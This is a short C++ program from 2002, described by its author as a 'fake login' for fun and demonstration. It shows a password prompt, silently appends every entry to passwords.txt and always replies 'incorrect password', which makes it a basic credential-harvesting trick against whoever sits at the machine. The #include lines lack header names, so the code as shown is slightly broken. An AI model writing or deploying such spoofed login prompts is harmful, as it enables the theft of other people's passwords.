/* Written by: Ken Mathis (CheckMate) Written on: 10/3/02 Fake login :) Fun when you are away from your linux computer. The person could of course hit ctrl+c and get in so I don't recommend using this :). This is just for demonstration. */ #include #include #include int main() { // declare variables char mystring[51]; ofstream outfile; outfile.open("passwords.txt",ios::app); // password loop while(1) { // get input from user cout << "Password: "; cin.get(mystring,51); cin.ignore(80,'\n'); // save pass to the file outfile << mystring << endl; // give error message cout << "incorrect password\n"; if (strcmp(mystring,"done") == 0) break; } outfile.close(); return 0; }